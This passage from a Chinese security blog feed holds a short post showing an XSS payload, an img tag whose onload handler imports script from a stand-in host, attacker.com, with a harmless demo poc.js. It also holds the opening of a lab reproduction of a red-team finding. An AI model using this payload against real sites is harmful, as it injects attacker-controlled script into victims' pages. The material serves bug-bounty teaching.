href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495880&amp;idx=1&amp;sn=65d42fbff5e198509e55072674ac5283&amp;chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&amp;scene=21#wechat_redirect" textvalue="一款bp神器" data-itemshowtype="0" linktype="text" data-linktype="2">一款bp神器</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496898&amp;idx=1&amp;sn=b6088e20a8b4fc9fbd887b900d8c5247&amp;scene=21#wechat_redirect" textvalue="挖掘有回显ssrf的隐藏payload" data-itemshowtype="0" linktype="text" data-linktype="2">挖掘有回显ssrf的隐藏payload</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495841&amp;idx=1&amp;sn=bbf477afa30391b8072d23469645d026&amp;chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&amp;scene=21#wechat_redirect" textvalue="ssrf绕过新思路" data-itemshowtype="0" linktype="text" data-linktype="2">ssrf绕过新思路</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496380&amp;idx=1&amp;sn=78c0c4c67821f5ecbe4f3947b567eeec&amp;chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">一个辅助测试ssrf的工具</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247488819&amp;idx=1&amp;sn=5141f88f3e70b9c97e63a4b68689bf6e&amp;chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">dom-xss精选文章</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487187&amp;idx=1&amp;sn=622438ee6492e4c639ebd8500384ab2f&amp;chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">年度精选文章</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487122&amp;idx=1&amp;sn=32459310408d126aa43240673b8b0846&amp;chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">Nuclei权威指南-如何躺赚</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486973&amp;idx=1&amp;sn=6ec419db11ff93d30aa2fbc04d8dbab6&amp;chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试设置功能IV</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试注册功能以及相关Tips</a></span><span style="display: none;line-height: 0px;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">‍</a></span></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a2593064&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTIzNTM0MA%3D%3D%26mid%3D2247499618%26idx%3D1%26sn%3D1f2a6f3358c79531fa15b821ae996d79">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 30 Jun 2026 11:00:00 +0800</pubDate>
    </item>
    <item>
      <title>一个有意思的xss</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247499614&amp;idx=1&amp;sn=1533a4b8a773f5019d9f22fb87cb1f73</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>h1</span> <span>2026-06-29 11:00</span> <span style="display: inline-block;">四川</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=64fbb425&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F7xtecWUgCRzDuyGAscscMZUlW0g3l7LWrr4iaiaRVuPdLXAH8cUAgCFmPYKw5J5cLRRaTlDXSICiapmTYF69cSukSljBmO5Q3B1jAExHE5ic5aQ%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h2 data-cacheurl="" data-pm-slice="0 0 []" data-remoteid="" style="box-sizing: border-box;margin: 30px 0px 15px;color: rgba(0, 0, 0, 0.85);font-weight: 500;cursor: pointer;padding: 0px;background: none center center / 63px no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;justify-content: center;line-height: 1.5em;overflow: unset; text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=61abca19&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7xtecWUgCRzjBaaFXRYn8dR4L7kxiaPHpL1tr1WMZCibAO8BB1EcJrlqGOxl1icsgYq4DpXEZSMm3zhMGHjoXUdHOuqMSEJFy02PhJfNTkibpWQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg&#34;);"><span style=" box-sizing: border-box;cursor: pointer;font-size: 18px;color: rgb(72, 179, 120);line-height: 2.4em;letter-spacing: 0em;margin: 38px 0px 10px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box transparent;box-shadow: none;content: unset;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: 38px;justify-content: unset;overflow: unset;padding: 0px; text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset; "><span leaf="">正文</span></span></h2><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">payload如下:</span></p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin: 10px 0px;overflow: auto;cursor: pointer;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;padding: 0px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);cursor: pointer;border-radius: 5px;"><span leaf="">&lt;Img Src=//x55.js OnLoad=import(src)&gt;</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">x55.js可以设置为你自己的服务器地址</span></code></pre><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">一个完整的测试示例 假设你的 VPS 地址是 attacker.com，在根目录放了 poc.js：</span></p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin: 10px 0px;overflow: auto;cursor: pointer;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;padding: 0px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);cursor: pointer;border-radius: 5px;"><span leaf="">// poc.js</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">console.log(</span><span style="box-sizing: border-box;color: rgb(152, 195, 121);cursor: pointer;line-height: 26px;"><span leaf="">&#39;脚本执行成功！当前页面域名：&#39;</span></span><span leaf="">, document.domain);</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">document.body.style.backgroundColor = </span><span style="box-sizing: border-box;color: rgb(152, 195, 121);cursor: pointer;line-height: 26px;"><span leaf="">&#39;red&#39;</span></span><span leaf="">;</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">// 把页面背景变红，直观看到效果</span></code></pre><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">你的 payload 就可以写成：</span></p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin: 10px 0px;overflow: auto;cursor: pointer;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;padding: 0px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);cursor: pointer;border-radius: 5px;"><span leaf="">&lt;Img Src=//attacker.com/poc.js OnLoad=import(src)&gt;</span></code></pre><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">目标页面加载后，就会执行你的 poc.js，在控制台打印日志，同时把页面背景变红。</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当然,这里的poc可以根据自己的需求来改</span></p><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf="">如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款</span></p><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012574" data-ratio="0.5493333333333333" data-s="300,640" data-w="750" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=033161f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYmmVSe19Qj5EMr3X76qdKBrhIIkBlVVyuiaiasseFZ9LqtibyKFk7gXvgTU2C2yEwKLaaqfX0DL3eoH6gTcNLJvDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span style="box-sizing: border-box;text-align: center;display: inline-block;height: 38px;line-height: 42px;color: rgb(72, 179, 120);background-position: left center;background-repeat: no-repeat;background-attachment: initial;background-origin: initial;background-clip: initial;background-size: 63px;margin-top: 38px;font-size: 18px;margin-bottom: 10px;"><span leaf="">往期回顾</span></span></p><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497813&amp;idx=1&amp;sn=c778ad6a4bffd7a0a72a900144ea90ca&amp;scene=21#wechat_redirect" textvalue="如何利用ai辅助挖漏洞" data-itemshowtype="0" linktype="text" data-linktype="2">如何利用ai辅助挖漏洞</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497880&amp;idx=1&amp;sn=b9b980464333074216b55ea94c8a743a&amp;scene=21#wechat_redirect" textvalue="如何在移动端抓包-下" data-itemshowtype="0" linktype="text" data-linktype="2">如何在移动端抓包-下</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;h1&#34;,&#34;attributes&#34;:{&#34;id&#34;:&#34;activity-name&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497491&amp;idx=1&amp;sn=a1b00b9a8a54eb96aa3ba8bf23cb7e28&amp;scene=21#wechat_redirect" textvalue="如何绕过签名校验" data-itemshowtype="0" linktype="text" data-linktype="2">如何绕过签名校验</a></span></h1><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495880&amp;idx=1&amp;sn=65d42fbff5e198509e55072674ac5283&amp;chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&amp;scene=21#wechat_redirect" textvalue="一款bp神器" data-itemshowtype="0" linktype="text" data-linktype="2">一款bp神器</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496898&amp;idx=1&amp;sn=b6088e20a8b4fc9fbd887b900d8c5247&amp;scene=21#wechat_redirect" textvalue="挖掘有回显ssrf的隐藏payload" data-itemshowtype="0" linktype="text" data-linktype="2">挖掘有回显ssrf的隐藏payload</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495841&amp;idx=1&amp;sn=bbf477afa30391b8072d23469645d026&amp;chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&amp;scene=21#wechat_redirect" textvalue="ssrf绕过新思路" data-itemshowtype="0" linktype="text" data-linktype="2">ssrf绕过新思路</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496380&amp;idx=1&amp;sn=78c0c4c67821f5ecbe4f3947b567eeec&amp;chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">一个辅助测试ssrf的工具</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247488819&amp;idx=1&amp;sn=5141f88f3e70b9c97e63a4b68689bf6e&amp;chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">dom-xss精选文章</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487187&amp;idx=1&amp;sn=622438ee6492e4c639ebd8500384ab2f&amp;chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">年度精选文章</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487122&amp;idx=1&amp;sn=32459310408d126aa43240673b8b0846&amp;chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">Nuclei权威指南-如何躺赚</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486973&amp;idx=1&amp;sn=6ec419db11ff93d30aa2fbc04d8dbab6&amp;chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试设置功能IV</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试注册功能以及相关Tips</a></span><span style="display: none;line-height: 0px;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">‍</a></span></span></p><h2 data-cacheurl="" data-remoteid="" style="box-sizing: border-box;margin: 30px 0px 15px;color: rgba(0, 0, 0, 0.85);font-weight: 500;cursor: pointer;padding: 0px;background: none center center / 63px no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;justify-content: center;line-height: 1.5em;overflow: unset; text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=75e4792a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7xtecWUgCRyYmic5B9Zxp7YVhCL4GDDZ3DzBhxAibMeYnHjntOfnib0gJgvkC0XjAGqNMoR5ANff5fXJXKltOhOobKT5Ybte9AXPPhmTJ1Y0Og%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg&#34;);"><span style=" box-sizing: border-box;cursor: pointer;font-size: 18px;color: rgb(72, 179, 120);line-height: 2.4em;letter-spacing: 0em;margin: 38px 0px 10px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box transparent;box-shadow: none;content: unset;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: 38px;justify-content: unset;overflow: unset;padding: 0px; text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset; "><span leaf="">参考</span></span></h2><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a href="https://x.com/kn0x55/status/2062550739218473312?s=46" target="_blank">https://x.com/kn0x55/status/2062550739218473312?s=46</a></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=460baa7c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTIzNTM0MA%3D%3D%26mid%3D2247499614%26idx%3D1%26sn%3D1533a4b8a773f5019d9f22fb87cb1f73">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 29 Jun 2026 11:00:00 +0800</pubDate>
    </item>
    <item>
      <title>用AI挖了隐藏N年的组合拳漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247499608&amp;idx=1&amp;sn=dbc0176bdee0182256a678e443f2aa2f</link>
      <description></description>
      <content:encoded><![CDATA[<p><span>private null</span> <span>2026-06-26 11:00</span> <span style="display: inline-block;">四川</span></p>




  <p>以下文章来源于：轩公子谈技术</p>
  <strong>轩公子谈技术</strong>
  <p>安全笔记分享 擅长渗透测试，应急响应，内网渗透，代码审计。</p>



  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f75aa101&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F7xtecWUgCRwN2Iy25Estr2AXmAdNQmyXQgHXo7ib32NOGcOGE1wVlf1TDHiczzribvxgPaVnOILILXeBWaJMSacic2sUBYyN39EO9tpibmKYAxOg%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h2 style=""><span style="font-family:黑体;mso-ascii-font-family:Arial;font-variant:normal;text-transform:none;"><span leaf="">前言</span></span></h2><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">这个漏洞是在护网中发现的，感觉很有学习价值，于是复盘了一下，花费一天时间，根据漏洞细节，在本地一比一复刻漏洞环境，以供学习。</span></span></p><p style="margin-bottom: 24px;"><span leaf="">这篇内容较多，先放目录，细细品味</span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100008357" data-ratio="0.9184210526315789" data-s="300,640" type="block" data-type="png" data-w="760" src="https://wechat2rss.xlab.app/img-proxy/?k=b3e95b90&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F16lHuWzRRdtlCQGXxgQbXRFJrzxhKcI1BYfB91iaad5lQCDUF3wHfQCe1vDYbJ1jXuK8kBtl6YmiayyprkGytRhicSsLpxb9wNNRw1tKQsaTyo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 24px;"><span leaf="">启动靶场</span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100008361" data-ratio="0.7185185185185186" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4ec5c8cf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRdvWzuJjnEFqnFqSe6RYKMgyxMkP4XRr5kibIbvePmXRict3pqdNBmzO6lmR8ndQcQSPnygZxpicJUUm2mowvGzXjht29rtUx3icgQM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 style=""><span style="font-family:黑体;mso-ascii-font-family:Arial;font-variant:normal;text-transform:none;"><span leaf=""><span textstyle="" style="font-size: 24px;">一、初步测试</span></span></span></h2><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">弱口令登录尝试</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">首先访问目标系统登录页面，尝试使用常见弱口令登录。</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100008356" data-ratio="0.6175925925925926" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=07f73f68&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRdt2v8kLNZOWcJItzHEibfELZGYf9qzE9elZdO8hqkUUZ7ng79LrrLVKIjjiadootI1OREw68sOx0HF7EzxTs8ibdYMplrez01YUnE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.3099369085173502" style="width:553.280029296875px;height:171.34002685546875px;" data-w="1268" 